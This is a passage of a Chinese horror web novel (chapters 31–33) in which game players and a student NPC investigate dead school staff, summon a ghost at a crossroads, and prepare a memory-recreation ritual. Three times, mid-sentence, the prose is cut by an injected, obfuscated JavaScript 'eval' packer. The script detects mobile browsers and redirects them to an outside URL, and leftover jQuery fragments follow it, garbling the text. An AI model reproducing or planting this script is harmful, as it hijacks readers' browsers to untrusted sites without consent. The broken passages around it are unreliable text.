梨乐一趁着这个间隙追上男生,她瞪了一眼陈敛,随后笑眯眯地看向男生:“同学,你不要紧张,我找你没什么事,就是想把那天陈敛抢你的钱还给你。” 男生一脸莫名:“什么钱?” 梨乐一:“你忘了吗,周一中午,在食堂外的那条林荫道上,陈敛不是管你要了五十六块钱吗.你当时跑得太快了,我都来不及把钱还给你。” 男生瑟缩着看了眼梨乐一:“我不不不、不要了,你自己留着吧。” 陈敛上前一步,站在男生身后,堵死了他的逃跑路线。 梨乐一见状顿时气不打一处来,当着老师的面都敢欺负同学,不知道私下里该有多猖狂,她安抚男生道:“别害怕,你受了什么委屈尽管说出来,老师会帮你做主的。” 说完,她又使劲剜了陈敛一眼:“快给人家道歉。” 陈敛依旧笑着,脚不轻不重地踹了男生一下:“你来说,我该给你道歉吗?” 梨乐一被陈敛这副死不悔改的模样气得火噌地一下就上来了,她挽起袖子指着陈敛正准备好好教育他一下,男生却突然苦大仇深地道:“老师,我错了,我真的错了,我再也不抢同学的钱了。” 梨乐一:“?” 男生:“其实,那五十六块钱是、是、是我管低年级的学弟要的,被敛哥看见了,他堵着我要我交出来。” “我、我、我发誓我再也不敢了,那天被敛哥教训了一顿之后,我这几天都没有再去管学弟学妹们要钱了。” 梨乐一愣住。 男生瞅准时机开溜,陈敛这次没有再拦他。 没了男生隔在中间,梨乐一能感觉到陈敛的目光正定定地落在自己的身上,她突然觉得有些耳热,不知道该怎么面对陈敛。 噘着嘴嘟囔半天,憋出一句:“你怎么不跟我解释呢?” 陈敛声音懒洋洋的:“你一上来就认定是我欺负人,就算我解释了,你也会认为我是在狡辩吧。” 梨乐一:“……” 她从兜里掏出这几天自己一直装在身上的五十六块钱:“喏,你把这钱拿去还给那个低年级的学弟吧。” 陈敛没接,轻嗤一声:“用不着,已经还了。” 梨乐一手举了半天都举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398056|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸了,但陈敛似乎打定了主意不收这钱,她默默收回手,倔强地抬头看着陈敛:“虽然你没有欺负同学,但是,旷课也是不对的。” 陈敛从书包里掏出一个文件夹:“这是学校近一个月来失踪的职工资料。” 梨乐一:“你没来上课就是为了找这个?” 陈敛歪头:“不然呢?” 梨乐一:…… 她真该死啊…… 三人来到走廊尽头的无人处,梨乐一翻开文件夹,第一页是一个名叫杨勇德的男人的资料。 “等一下……”梨乐一看到这个名字,立刻想起了自己在讲台底下捡到的那张纸条。 她将纸条拿出来,随后激动地点着纸条上的第一个名字:“杨勇德!就是他,彭思名的笔记本里也写了他的名字!” 鹤溪若有所思,陈敛则是淡淡地扫了一眼纸条,无甚所谓地道:“哦,杨勇德就是我们班那个死的很惨的前任班主任。” !!! 梨乐一震惊地冲陈敛抖着手里的文件夹:“可、可是这份资料里写着杨勇德是失踪不是死亡啊!” 陈敛扯了扯嘴角,语气讥讽:“准确来说,这里面所有教职工都写的是失踪,但其实他们都已经死了,就像那天早上被抬出去的杨勇德一样,你猜这是为什么呢?” 梨乐一喉咙里像是突然被塞了一团棉花,堵得她有些喘不过气来,她沉默地举着手里的资料,半响,低下头一页一页地翻看。 杨勇德,教师,失踪…… 何华,校医,失踪…… 方玉萍,清洁工人,失踪…… …… 这份资料里的所有人,都和梨乐一找到的那张纸条一一对应上了。彭思名将他们的名字挨个记了下来,然后在死后,一一找上门要了他们的命。 学校对此却仅用失踪二字将其敷衍过去,似乎是在故意隐瞒着什么,又或者,是不想事情闹大闹得人心惶惶? 梨乐一心里想着事,心不在焉地将资料翻到最后一页。 “等一下。”鹤溪声音淡淡地落在耳边,紧接着,身后伸出一只手,虚指向最后一个人的资料职位那一栏。 “这些死去职工的岗位,正好和我们玩家的岗位相对应。” 听到鹤溪的话,梨乐一先是抬头看了眼陈敛的反应,见他面上对鹤溪说的话毫无波澜,心中暗自惊讶陈敛对于自己是副本内NPC的事情接受的还挺快的。 而后她才又低下头,再次从头到尾将资料翻了一遍。 果然如鹤溪所说,这些死去的人的岗位正一一对应着玩家的岗位。 一名班主任,三名清洁工,三名维修人员,两名校医,三名食堂打饭员,三名保安。 梨乐一顿时感到头皮发麻。 这绝对不会是一个巧合。 她很快想到了刚进入副本时他们所经历的那些诡异事件。 所以,他们碰见的那些诡异事件,其实都是原岗位的那些职工们曾经真切经历过的场景? 而在失踪的那十五名职工里,除了杨勇德和李文雯彭思名都产生了交集之外,其余人都只遇见过李文雯。 难道说,杀死彭思名的凶手其实是杨勇德? 31. 见鬼 晚上,梨乐一守完第一节晚自习,抱着书准备离开教室的时候,陈敛突然叫住她。 “你信任他什么?” 梨乐一莫名其妙:“你说什么?” 教室里人声鼎沸,有些学生下课之后就跟人来疯一样在教室里一边乱窜一边吱哇乱叫,陈敛走到梨乐一跟前,定定地看着她,声音穿过嘈杂的人声,掷地有声地落进梨乐一的耳朵里。 “那个叫鹤溪的,看上去肩不能扛手不能提,你们作为玩家进入这种恐怖副本,随时随地都要提防着鬼怪出现索命。” 陈敛毫不掩饰话语中的鄙夷:“他那副模样,保全自己都困难,更何况是保护你,你为什么这么信任他?” 梨乐一被陈敛直白的问话哽了一下,张口正欲回答时,忽地察觉到什么,转头看向教室正门。 鹤溪的身影出现在门外,他目光沉静,安静地落在她身上。 即便教室门口人来人往,但梨乐一始终能感觉到鹤溪看向自己的目光。 她想了想,开口回答陈敛的问题:“我也不知道为什么我这么信任他,应该就是……第六感吧,我的第六感告诉我他是一个可以信任的人。” 说完,梨乐一转身朝教室外走去。 “我不喜欢他。”陈敛又道。 梨乐一回头看他一眼:“哦。”然后继续往外走。 走出教室,鹤溪没问刚才梨乐一和陈敛在讲台上都说了些什么,语气平淡地道:“走吧。” 他们现在要去准备【十字路鬼】见鬼方法里需要的三菜一汤了。 梨乐一点头:“好。” - 晚上,梨乐一跟钟心闻约的原本是十一点半在他们提前看好的十字路口集合。 结果等晚自习结束,梨乐一和鹤溪提着新鲜出炉的三菜一汤赶到十字路口时,却发现钟心闻已经一脸萧瑟地在路边蹲着了。 “你不是要上夜班吗?怎么到的比我们还早?”梨乐一疑惑地看着钟心闻。 钟心闻拍拍裤子站起来:“别提了,压根没人来,大家现在都忙着找纸条呢,哪还有心情来上班啊。” 梨乐一抿了抿唇,没说话,心情有些复杂。 鹤溪拎着东西走到十字路口处,将三菜一汤在地上摆好。 饭菜香萦绕鼻间,现在距离吃晚饭已经过去好几个小时了,钟心闻嘴里开始不自觉地分泌涎水,他视线从菜上一一扫过。 “等等。”他指着最边上的盘子,“这怎么还有一盘咸菜来滥竽充数?这种事一般讲究诚心为上,彭思名看到这碟咸菜会觉得我们不用心的。万一他生气了,我们绝对吃不了兜着走!” 梨乐一深吸一口气,咬着牙一字一顿道:“这是我做的红烧茄子。” “啥?”钟心闻不敢置信,“红烧茄子怎么可能是这个shai,你该不会是把老抽当生抽放了吧?” 鹤溪一本正经地开口:“好吃的,你要不要尝尝?” 钟心闻把头摇成了拨浪鼓:“不不不,这是给彭思名准备的,我吃了算个什么事啊。” 梨乐一不说话,死死地瞪着他。 钟心闻全当没看见,抬手制止鹤溪往外掏东西的动作,警惕地看了一眼跟在他和梨乐一身后走来的那名穿着学校校服的男学生。 “等一下,还有人呢,等那个人离开了再摆也不迟,反正时间还早。” 鹤溪转头看了一眼双手插兜,闲哉哉倚在树下的陈敛,回过身继续往外拿东西:“他是自己人。” “自己人?”钟心闻面色古怪地看着陈敛,“我记得咱们玩家里没这号人物啊。” 陈敛被钟心闻看得烦了,面无表情地扫了一眼钟心闻,开口道:“我是跟彭思名在一个班的学生NPC。” 钟心闻瞪大眼睛指着陈敛:“他他他……” 起猛了,看见副本NPC主动介绍自己是NPC了。 鹤溪没管钟心闻,从随身的斜挎包里掏出两副干净的碗筷来,并排摆在路边。 梨乐一全程蹲在鹤溪身边,看着鹤溪布置好一切,最后视线落在鹤溪的斜挎包上。她感觉鹤溪的斜挎包跟哆啦A梦的口袋似的,啥宝贝都能掏出来。 鹤溪察觉到梨乐一的目光,又伸手进斜挎包里掏了掏,掏出一块巧克力递给梨乐一:“要吃吗?” “我不是那个意思……”梨乐一有些不好意思,但手上却一点也没有犹豫地接过巧克力,“谢谢。” 鹤溪唇角微微扬起:“不客气。” 摆好东西之后,几个人并排在路边坐下,等着午夜到来。 现在距离晚自习结束已经过去差不多一个小时了,学生们回家的回家,回宿舍的回宿舍,校园里安静的出奇。 放眼望去,长长的街道好似没有尽头,直直延伸向黑暗深处。 忽然,钟心闻身后黑漆漆的小树林里传来一阵窸窸窣窣的动静,像是什么人在草地上走动。 钟心闻后背一凉,赶忙往鹤溪那边靠了靠:“我艹,有有有有……” “鬼”字还没有说出口,就见一个圆润的猫影从黑暗中左扭右扭,优雅地浮现出来。 小帅先是蹭了蹭鹤溪,然后又昂首挺胸经过梨乐一,去蹭了蹭陈敛,最后则是回到鹤溪的脚边,开始舔毛。 钟心闻看着这辆半挂,乐了:“哪来的胖猫,来给哥哥撸撸。” 只不过他的手还没有碰到小帅,小帅便高傲地起身离开,走到了陈敛身边趴下。 梨乐一一脸欣慰地看着钟心闻:“原来它也讨厌你,谢谢你让我的内心平衡了,朋友。” 钟心闻:“……” 鹤溪轻咳了两声,转头对上梨乐一的视线:“它不讨厌你。” 梨乐一只当鹤溪是在安慰自己,他人还怪好的咧。 鹤溪收回视线站起身:“时间差不多了,我们准备开始吧。” 钟心闻一脸悲壮地站起来,端着自己的碗筷,一脸悲壮地走到道路中央。至于鹤溪一早就摆在路上的那两副碗筷,是他为自己和梨乐一准备的。 陈敛会跟来并不在鹤溪的计划之内,不过现下对于陈敛,他有另外的安排。 “你就在旁边守着,防止有人突然闯入,破坏碗筷道具让招鬼游戏失败。” 陈敛看着鹤溪,眸光幽深,梨乐一则是不安地看着陈敛,担心陈敛臭脾气上来怼鹤溪几句,毕竟他才说了不喜欢鹤溪。 但好在陈敛并没有像昨天玩杯仙那样坚持,弯腰抱起小帅退到了人行道上。 钟心闻听到了鹤溪刚才对陈敛说的话,摸着脑袋莫名道:“鹤哥,不至于吧,这个点了哪会有人在校园里乱逛啊。就算碰到了玩家,同为玩家,怎么可能会害我们。” 鹤溪深深地看了钟心闻一眼:“之前不会,但是在清楚了这个副本的死亡规则之后,就不一定了。” 根据当下已知的信息,死亡顺序是按照他们在彭思名笔记本上的签名顺序来的。 有了顺序,竞争便会随之产生。 而签名顺序又可以通过玩招鬼游戏改变,那没有找到记录见鬼方法纸条的人自然就不会希望找到纸条的人游戏成功,改变死亡顺序。 钟心闻顺着鹤溪的话深想了想,背上顿时冒起了一层鸡皮疙瘩,他搓了搓手臂上冒起来的鸡皮疙瘩,走到路口中央跪下。 “铛。” 随着筷子敲击碗边发出的清脆声响,钟心闻感觉到刚才拂过自己脸颊的微风逐渐变得微弱,直至周身的空气都静止下来。 “铛。” 耳边一切细微的声响忽地消失,偌大的校园像是被按下了暂停键,那些偶尔会在晚风中摇曳的树影此刻安静地伫立在黑暗中,像沉寂蛰伏的巨兽,居高临下地俯视着正跪在道路中央的渺小人类。 “铛。” “咚!” 第三声敲碗声响起,钟心闻耳尖地听到不远处的道路上传来一声闷响,像是重物落地的声音。 他立刻转头朝声音来源处看去,道路尽头被密集的树影淹没,恍然间他好像看见阴影处有什么东西闪过,但下一秒黑暗便仿佛流淌的黑雾一般将阴影处的景象给遮了个严实。 钟心闻默默收回视线。 或许,刚才的声音是他太过紧张害怕导致的幻听。 但不知道是不是心理原因作祟,钟心闻总觉得周围的黑暗似乎在缓缓朝着这边靠近。 他晃了晃脑袋,将那些乱七八糟的想法甩出脑袋,专心敲碗。 这还什么都没发生呢,他就别自己吓自己了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402575|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “铛。” “沙——沙——沙——” 又是一声敲碗声落下,钟心闻再一次听到道路尽头的黑暗里传出声音,就像是鞋底在满是小石子的路上摩擦的粗糙的声音。 “沙——沙——沙——” 那声音好像在向着这边靠近。 钟心闻僵硬地转头,就看见一道瘦长扭曲的身影正缓慢地从黑暗中浮现。 “铛铛铛铛铛……” 梨乐一一边敲碗,一边观察着周围的情况,想看看今晚有没有机会开展她的作死大计,结果突然就听见一阵急促的敲碗声响起。 这个频率已经不是人能做到的了,得是筋膜枪开到最高档位才能敲出来的频率。 梨乐一疑惑地看向发出这个声音的钟心闻,却只看到一个剧烈颤抖的后脑勺。 她又仰起脖子越过钟心闻看向道路尽头,什么也没有。 钟心闻看上去已经被吓懵了,之所以还能发出连续不断的敲碗声,不过是因为手抖得厉害罢了。 但照他这个频率敲下去,彭思名的【怨】要是出现了,第一个盯上的人一定是他,那自己不就没有机会了? 梨乐一皱起眉,深知不能再让钟心闻这么敲下去。 她和钟心闻的中间隔着一个鹤溪,她看向鹤溪,发现鹤溪半垂着眼盯着面前的碗,面上无波无澜,手里的动作不停,丝毫没有被钟心闻的异常影响到。 梨乐一不想把鹤溪拖下水,想了想,咬咬牙,准备起身朝钟心闻走去。 “啪。” 手腕突然被捉住,梨乐一抬头,对上鹤溪黝黑的眼睛。 梨乐一着急地看了眼钟心闻。 鹤溪看着她,少倾,微不可察地叹了口气。 他原本不想插手管钟心闻的事情,今晚如果不是梨乐一,他根本不会答应钟心闻的请求,也不会出现在这里。 但既然来了,他便打算趁着这个机会向彭思名的【怨】询问一些事情,至于钟心闻,不到生死一线的地步,他是不会插|手管的。 可现在梨乐一想管钟心闻的事情。 鹤溪放开梨乐一的手腕,低声道:“你继续敲。” 随后,他转身,伸手捉住钟心闻筷子的前端,一下一下,将钟心闻过快的节奏放缓至和他们一样。 “不管你看到了什么都装作没看到,敲碗不要停,保持这个节奏。” 鹤溪平淡的声音仿佛一颗定心丸,钟心闻内心的恐惧奇异地被抚平了些许,他低下头,不再看从道路尽头慢慢向他靠近的瘦长鬼影,只盯着面前的碗看。 “沙——沙——” 脚步声在规律的敲碗声中逐渐靠近,很快,便来到了鹤溪特意准备的三菜一汤前。 钟心闻的头低的更下去了,只盼着这个鬼赶快把菜吃完赶紧走。 但那脚步声却只在三菜一汤前停顿了一瞬,而后便经过三菜一汤,继续往前走。 钟心闻眼睁睁地看着一双沾血的球鞋走进自己的视野中,最后停在自己碗前。 安静到诡异的街道上,只剩下三人有节奏的敲碗声。刚才还闷热的空气随着这双球鞋出现在视野中,骤然降至零下冰点。 “滴答。” 一滴血从天而降落在了钟心闻的碗里,钟心闻呼吸一滞,敲碗声慢了一拍。他还记得刚才鹤溪叮嘱自己的话,闭上眼睛,装作什么都没看到,继续敲碗。 “滴答。” 他又听到了一滴血落在自己碗里的声音。 面前的这个鬼似乎正在低头看他。 钟心闻脑海中不受控制地浮现出这几天那些玩家们死去时血腥的模样,整个人都被一股窒息的绝望感包裹住,他感觉到自己的体温在迅速流失,握着筷子的手逐渐变得僵硬。 就在钟心闻准备放弃敲碗接受命运的时候,鹤溪的声音再一次如天神降临般在他耳边响起。 “你是彭思名对吧?” 鞋底在柏油路面上摩擦的声音再次响起,钟心闻感觉到面前的鬼似乎又动了起来。 他悄悄将眼睛睁开一条缝隙,就看见原本正对着自己的鞋尖正在慢慢朝着鹤溪的方向转去。 鹤溪停顿片刻,继续道:“我们不是来和你作对的,我们想帮你。” 32. 见鬼 因为之前鹤溪的叮嘱,钟心闻不敢停下敲碗的动作,但他即使再害怕,害怕到手都快拿不稳筷子了,也始终半眯着眼盯着面前那双球鞋的动向。 球鞋在走到鹤溪的碗前后便停了下来,鞋尖朝着鹤溪。如果鹤溪刚才的猜测没有错的话,这双球鞋的主人应该是彭思名。 彭思名现在就站在鹤溪的面前,默默地观察着他。 但鹤溪却好似看不见彭思名,他抬头,视线凝在虚空的一点,声音平静地问道:“彭思名,你做的这一切,是为了李文雯吗?” 话落,前一秒还仿佛空气都静止了的街道上突然刮起一阵大风,钟心闻差点被这阵风掀翻在地。 再看旁边的两人状态也没有比他好到哪里去,三人中体重最轻的梨乐一被吹得东倒西歪,要不是鹤溪及时拉住她,她估计早就滚到几米开外的地上躺着了。 陈敛见情势不对赶忙上前想要帮忙,脑中却倏地闪过一些零碎的画面,他脚步一顿。 另一边,彭思名却没有给鹤溪任何回应。 鹤溪继续问道:“是谁害死你的,杨勇德吗?杨勇德已经死了,你还有什么放不下的?” “哗啦啦——” 三人面前的碗瞬间被大风吹翻,三菜一汤也洒的满地都是,钟心闻直接被吹飞,在地上滚了好几圈,撞到树上才停下来。 梨乐一比他好点,在要飞出去的时候被鹤溪一把抓进怀里紧紧搂着。 “彭思名,我们是真的想帮你。” 鹤溪看不见彭思名,但他能感觉出彭思名现在就站在自己面前,他在猛烈到眼睛都睁不开的风里强撑着,只可惜,彭思名仍是没有给他一点回应。 几秒钟后,风唰地一下静止,只余下满地狼藉。 钟心闻默默滚了回来:“这、这、这是结束了?” 鹤溪抱着梨乐一的手松了些:“应该是。” 梨乐一有气无力地倚在鹤溪的怀里,还没能从失望的情绪中缓过神来。 她又没死成。 陈敛也终于赶到了三人面前,他在梨乐一身边蹲下,下意识地想将梨乐一从鹤溪的怀里拉起来,手却在要碰到她时顿住。 陈敛看了一眼鹤溪,眼中闪过一丝复杂的情绪,他收回手,最后只是问梨乐一道:“你没事吧?” 梨乐一摇头:“没事。” 鹤溪扶着梨乐一站起来,他似是对这一结果早有预料,声音里听不出多少失望:“彭思名不愿意说,只有靠我们自己去把真相找出来了。” 经历了这么一出,虽然招鬼的过程只有短短十几分钟,但几个人都像是连着跑了几天几夜的马拉松似的累的不行。 梨乐一回去之后简单洗漱了一番,进卧室时小帅已经窝在床脚睡着了。梨乐一一头栽进被窝,也很快睡了过去。 第二天清晨,玩家们在宿舍里发现了两具尸体,一具属于保安岗位的王山,另一具则是属于校医岗位的罗元松。 而根据他们入校时的签名顺序来看,昨天晚上死的应该是王山,罗元松的顺序拍在王山的后两位,他原本的死亡时间应该是今晚,但不知道出于什么原因,他的死亡顺序突然被提前了。 罗元松的尸|体上插满了细长的钢针,鹤溪在罗元松的尸|体前蹲下,指尖捏起一根钢针,将其缓缓拽了出来。 另一边,文虹等人则是在向罗元松的室友方华明询问情况。 文虹:“你昨天晚上有听见什么奇怪的动静吗?” 方华明面色苍白,眼下的青黑比前几天更重了:“我什么都没听见,我白天寻找线索太累了,所以晚上很早就进了房间休息。” 梨乐一奇怪地看着方华明:“你很早就睡了为什么黑眼圈还这么重?” 方华明顿了顿,才道:“我是很早就睡了,但是没睡好,一直在做噩梦。” 梨乐一还是觉得很奇怪,她还想再问,鹤溪突然开口:“这是伞架。” 众人的目光纷纷朝鹤溪看去。 鹤溪捏着那根从罗元松体内抽出来的钢针站起身:“罗元松身上插|着的这些都是伞架,他昨天晚上应该是试了那个在室内打伞的见鬼方法。” 鹤溪说完看向方华明。 方华明用室内打伞的见鬼法延后了自己的死亡顺序,罗元松的死或许跟他有关。 方华明听到鹤溪的话后露出不敢置信的表情,身形一晃,而后软软地瘫坐在地,失魂落魄地喃喃道:“怎么会这样……怎么会这样……” 文虹皱眉问道:“这到底是怎么回事?” 方华明抹了把脸,整个人被颓丧的气息笼罩:“昨天晚上罗元松来找我,他说今天晚上就要轮到他了,他很害怕,求我帮他。” “可是我昨天也没有找到纸条,没办法帮他。他就让我把我之前试了并且成功的见鬼方法告诉他,只要他和我一样成功了,他就可以延后死亡顺序。” 鹤溪:“所以你告诉他了。” 方华明点头:“嗯,他哭着求我,我没办法拒绝,可是我没想到这样竟然会害死他。也许……也许是他太害怕了,没有按照我告诉他的步骤来。” 众人听了方华明的话不禁感到唏嘘,但鹤溪却忽然转头看向钟心闻。 “昨天晚上的游戏结束后,你那张记录见鬼方法的纸条还在吗?” 钟心闻一拍脑袋道:“我正想跟你们说呢,我昨天晚上没顾得上这事,今天早上想把那张纸条拿出来再看看的时候,突然找不着了,可是我明明记得在我们开始敲碗前,我把它折好放兜里的。” 鹤溪没再多问什么,他放下手里的金属伞架,从包里拿出湿巾将刚才接触到金属伞架的手指仔仔细细地擦了一遍,而后看向梨乐一:“去吃早饭吗?” 梨乐一处在状况外,但听到鹤溪问话还是下意识地点了点头,随后跟着鹤溪走出了宿舍。 钟心闻见状也不在房间里多留:“鹤哥,梨姐,等等我。” 电梯里,梨乐一开口问鹤溪:“你刚才是不是猜到什么了?” 鹤溪点头:“嗯,不过仅仅只是猜测而已。” 钟心闻凑过来:“鹤哥,你猜到什么了?” 鹤溪淡淡地睨他一眼:“罗元松的死不是偶然而是必然。” 钟心闻抠脑袋:“鹤哥,都这会儿了,你就别跟我打哑谜了。” 鹤溪:“同样的见鬼方法,前一个人试了并且成功了,后一个人就不能再用同样的方法延后自己的死亡顺序,不然就会被副本规则判定为违规。这也是为什么在招鬼游戏结束后,纸条会莫名其妙消失的原因。” “所以,不管罗元松昨天晚上成功与否,他都会死。” 钟心闻若有所思。 梨乐一眼睛唰地一下亮起:“是吗?” 但她下一秒又想起来,如果鹤溪说的是真的,那么罗元松已经以这种死法死去了。 该死,又慢了一步。 电梯到达一楼,三人并肩走出去。 钟心闻突然想到什么,问鹤溪:“鹤哥,你既然猜到了罗元松的死因,刚才为什么不当着众人的面说出来?” 鹤溪微微歪头:“聪明的人不用说,蠢的人就算说了也不会信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413094|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我为什么要说?” 钟心闻大受打击,他心痛的捂着胸口:“鹤哥,其实也有老实的蠢人会无条件相信你的话的,比如我。” 鹤溪没有搭理他。 由于昨晚的“救命之恩”,钟心闻今天说什么也要跟着鹤溪,鹤溪又要跟着梨乐一。 于是,梨乐一今天多出了两个小尾巴。 早晨的语文课结束,梨乐一多出了三个小尾巴。 在校园里转了一圈,梨乐一多出了三个小尾巴加一个猫尾巴。 钟心闻拍手:“嘿,人到齐了。” 梨乐一:…… 她只是一个普普通通想在副本里找死的NPC,为什么所有人都要跟着她? 中午吃饭的时候,文虹特意来找梨乐一一行人,拿出一张纸条:“这是我在操场角落找到的纸条,但上面记录的不是见鬼方法。” 梨乐一闻言心头一跳,赶忙接过纸条展开,纸条上只有一句话,和一个扭曲怪异的图案。 [拿到那个人的贴身物品,衣物鞋子皆可,去到想重现记忆的地点,而后点燃符纸,再用符纸引燃物品。] 至于那个图案,梨乐一看了半天也没有看出个所以然来,字不像字,画不像画的,不过—— 梨乐一正准备开口叫鹤溪,但在她出声之前,鹤溪便从包里拿出了彭思名的笔记本,翻到其中一页递给她。 纸张参差不齐的边缘和本子上留下的痕迹严丝合缝地对了起来,而这恰好是彭思名说他成功重现了别人记忆的后一页。 这是彭思名找到的,可以重现人记忆片段的方法! 事不宜迟,梨乐一几人立刻将记忆重现仪式安排上日程。 符纸很好弄到,梨乐一记得彭思名的书桌里有几张没用过的黄纸,至于画符的材料,鹤溪说没有朱砂可以用鸡血代替。 但是贴身物品却让几人犯起了难。 他们想要重现记忆片段的有两人,一个是李文雯,他们得知道李文雯到底经历了什么,会让彭思名那么恨以杨勇德为首的那批已经死去的学校职员。 还有一个便是彭思名本人,知道彭思名是怎么死的对于他们解开彭思名的【怨】至关重要。 可这两人一个不在学校,一个已经死了,他们上哪去弄这两人的贴身物品。 “愁。”钟心闻皱着脸趴在桌上,“我们既不能出校门去找李文雯,也不能去扒了彭思名的坟,难整哦。” 文虹沉吟片刻,开口道:“【怨】副本不会设置必死的局面的,既然它给出了这个条件,那么在学校里必然会存在实现这个条件的东西。” 她转头看向梨乐一:“一会我们再去他们两人的班上看看吧。” 梨乐一点头。 只不过话是这么说,午休时几人将彭思名和李文雯的桌子翻了个底朝天,也没能找出一件贴身物品。 他们好不容易才从一个僵局里跳出来,却不想又陷入了另一个僵局。 明天中午死亡顺序就轮到文虹了,她在学校找了两天,除了中午那张纸条再没有别的发现,所以尽管她心理素质再好,在知道自己的生命已经进入倒计时后,也难免会变得焦躁起来。 梨乐一将她的变化看在眼里,却不知道该怎么安慰她好。 只能陪着文虹坐在高中部大门口的台阶上发呆。 文虹愁自己该怎么活下去,梨乐一愁自己该怎么死。 坐了没一会,旁边的钟心闻突然揉了揉眼睛,喃喃道:“我是不是太想见到李文雯出现幻觉了,那边那个女学生怎么有点像李文雯?” 33. 见鬼 在进入副本的第一天,近距离接触过李文雯的除了钟心闻就只有梨乐一了。 梨乐一听到钟心闻的话立刻抬头向他看着的方向看去,就看见小芝挽着一个瘦高的女生朝这边走来。 梨乐一一眼便认出这的确是他们刚来那天撞到钟心闻的女生,也就是李文雯。 几天不见,李文雯瘦到只剩下了一层皮包骨,眼窝深陷嘴唇没有丝毫血色,看得出她请假回家的这几天根本就没有休息好,整个人比之前在校门口初见时更憔悴了。 钟心闻“噌”地一下站起来,指着李文雯的方向激动地道:“李文雯,李文雯!!!那天在校门口撞到我的那个女生,是她,就是她!” 差点被钟心闻捅到鼻子的陈敛不耐烦地拍开他的手:“想把人吓走你就继续吼。” 钟心闻瞬间噤声。 文虹默不作声地打量着陈敛。 她不明白为什么一个学生NPC会跟在玩家身边,但梨乐一和鹤溪都不像是分不清轻重缓急的人,尤其是鹤溪。 自从昨天早上鹤溪当众给了欺负他的人一个下马威之后,他在文虹心里不争不抢、病弱好欺负的副本花瓶形象便发生了翻天覆地的变化。也是,能在【怨】的副本里存活下来的人怎么可能会是简单的人。 所以,见梨乐一和鹤溪对于这名学生NPC的存在似乎已经习以为常了,她聪明的没有多问。 小芝挽着李文雯很快便走到了台阶底下,见其余人都没有行动,钟心闻憋得脸都红了。 他站起身想上前拦住李文雯,却被梨乐一伸手抓住衣角。 梨乐一仰头看着他,用只有他们几个人能听到的音量说道:“你先等一等。” 李文雯在小芝的搀扶下一步一步迈上台阶,经过台阶上坐着的几人,慢慢朝楼内走去。 看着二人远去的背影,钟心闻压低声音问道:“还等什么?这说不定就是副本特意安排的,为了让我们从李文雯那里打听消息。” “如果能从李文雯嘴里问出些什么来,我们也可以省去一次那个什么记忆重现的仪式。毕竟,跟玄学相关的仪式,谁知道过程中会不会有危险。” 梨乐一放开钟心闻,视线一眨不眨地盯着李文雯瘦弱的背影:“她看上去很痛苦,我们还是……别去打扰她了吧。” 梨乐一其实隐约猜到了什么,她不愿意往那方面去深想,她希望她的猜测是错的。 话落,忽地一阵风起,梨乐一脸侧的碎发被微微扬起又落下。 钟心闻还想再说什么,被鹤溪打断:“会有办法的。” 鹤溪话是对钟心闻说的,但是目光却全程落在梨乐一脸上:“既然李文雯回校了,那弄到她的贴身物品对我们来说就不难了。” - 高三十班下午的第三节课是体育课,距离高考没多久了,许是为了让学生们放松放松,不要给自己太大的压力,今天下午的体育课难得的没有被各科老师占据。 上课铃声响起,承载着全村的希望的——小帅,在众人期待的目光中,迈着优雅的猫步走进了十班教室。 十班的学生现在都去上体育课了,而身体不好的李文雯自然是单独留在了教室里休息。 钟心闻猫在教室后门,看着小帅扭着肥屁|股,不慌不忙地穿梭在桌椅书箱中,担忧地问梨乐一道:“它能行吗?你确定鹤溪刚才说的话它能听懂?” 梨乐一也不太确定:“走一步看一步吧,如果猫不行,我们就再派个人去试试。” 钟心闻:“……” 但很快,钟心闻便发现他的担忧是多余的。 小帅准确地来到了正趴在课桌上睡觉的李文雯的座位旁,咬住她搭在脚边书箱上的毯子,潇洒地往外那么一甩头,毯子的另一端就掉在了地上。 小帅在众人或惊讶、或惊喜、又或是平淡的注视中,光荣归来。 钟心闻冲小帅竖起了大拇指:“不愧是我帅哥!” 李文雯记忆重现的地点众人选在了四楼,因为根据他们进入副本第一天经历的诡异事件来看,这一切都是从高中部教学楼的四楼开始的。 不过鉴于上课时间在教学楼内烧毯子,有百分之九十九的可能会被误认为故意纵火的“恐|怖分|子”,于是众人经讨论决定,等到晚自习放学,教学楼里没有人之后再开始记忆重现。 时间很快便来到晚上。 教学楼的灯一盏接一盏地暗下去,很快整座教学楼便沉入了黑暗中。 躲在卫生间隔间里的几人走了出来。 钟心闻伸了个懒腰,眯着眼看梨乐一、鹤溪、陈敛以及小帅三人一猫从隔壁的隔间里走出来。 “我说你们三个人也真是的,这厕所隔间这么多,非要去挤一间,这不是纯纯找罪受嘛。” 